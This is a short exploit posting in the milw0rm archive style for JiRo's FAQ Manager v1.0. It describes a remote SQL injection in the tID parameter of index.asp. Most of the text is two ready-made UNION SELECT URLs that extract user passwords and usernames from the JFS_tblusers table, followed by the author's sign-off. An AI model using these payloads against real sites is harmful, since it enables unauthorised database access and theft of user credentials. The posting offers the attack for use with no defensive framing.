22 lines
No EOL
668 B
Text
22 lines
No EOL
668 B
Text
*******************************************************************************
|
||
# Title : JiRo´s FAQ Manager v1.0 (index.asp) Remote SQL Injection Vulnerability
|
||
# Author : ajann
|
||
# Contact : :(
|
||
|
||
*******************************************************************************
|
||
|
||
###http://[target]/[path]//index.asp?tID=[SQL]
|
||
|
||
Example:
|
||
|
||
//index.asp?tID=-1%20union%20select%200,uPassword,0,0,0,0,0,0,0,0,0,0,0,0%20from%20JFS_tblusers%20where%20no%20like%200
|
||
//index.asp?tID=-1%20union%20select%200,uName,0,0,0,0,0,0,0,0,0,0,0,0%20from%20JFS_tblusers%20where%20no%20like%200
|
||
|
||
|
||
"""""""""""""""""""""
|
||
# ajann,Turkey
|
||
# ...
|
||
|
||
# Im not Hacker!
|
||
|
||
# milw0rm.com [2006-11-23] |